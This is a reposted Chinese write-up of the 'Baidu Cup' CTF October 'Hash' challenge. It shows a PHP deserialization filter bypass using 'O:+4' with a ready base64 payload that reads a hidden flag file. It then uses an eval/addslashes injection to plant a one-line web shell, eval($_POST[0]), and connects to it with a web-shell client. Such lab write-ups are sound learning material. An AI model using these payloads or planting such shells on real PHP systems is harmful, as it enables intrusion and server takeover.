“百度杯”CTF比賽 十月場 Hash 復現


進入題后老套路得到兩個關鍵:

1.$hash=md5($sign.$key);the length of $sign is 8

2.key=123&hash=f9109d5f83921a551cf859f853afe7bb

然后md5解密那個hash=kkkkkk01123

根據源碼說的$sign位數為8位,后改一下key 然后md5后得到提示Gu3ss_m3_h2h2.php這個文件

<?php
class Demo {
    private $file = 'Gu3ss_m3_h2h2.php';

    public function __construct($file) {
        $this->file = $file;
    }

    function __destruct() {
        echo @highlight_file($this->file, true);
    }

    function __wakeup() {
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }
}

if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {

        @unserialize($var);
    }
} else {
    highlight_file("Gu3ss_m3_h2h2.php");
}
?>

拿到源碼了,審計代碼

首先得到一個參數var 然后進行正則匹配

說下這個正則 /[oc]:\d+:/i  [oc]  兩個字母構成的原子表加:再加只是一個數字,再加: 然后不區分大小寫

這個O 是序列化里面的類 C是自定義序列化方式

如果這個正則的繞過是O:+4 這樣就可以繞過

然后寫payload:

TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==  出來拿去用

<?php
if (isset($_GET['val'])) {
    $val = $_GET['val'];
    eval('$value="' . addslashes($val) . '";');
} else {
    die('hahaha!');
}

?>

 

繼續審計,看到這個熟悉的php復制變量${phpinfo()}  像這樣的他會先執行里面 的方法

直接構造payload:eval($_POST[0])    這里一句話的密碼 不能用引號 應該是那個addsalashes的原因

然后就菜刀連上去就看到flag了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM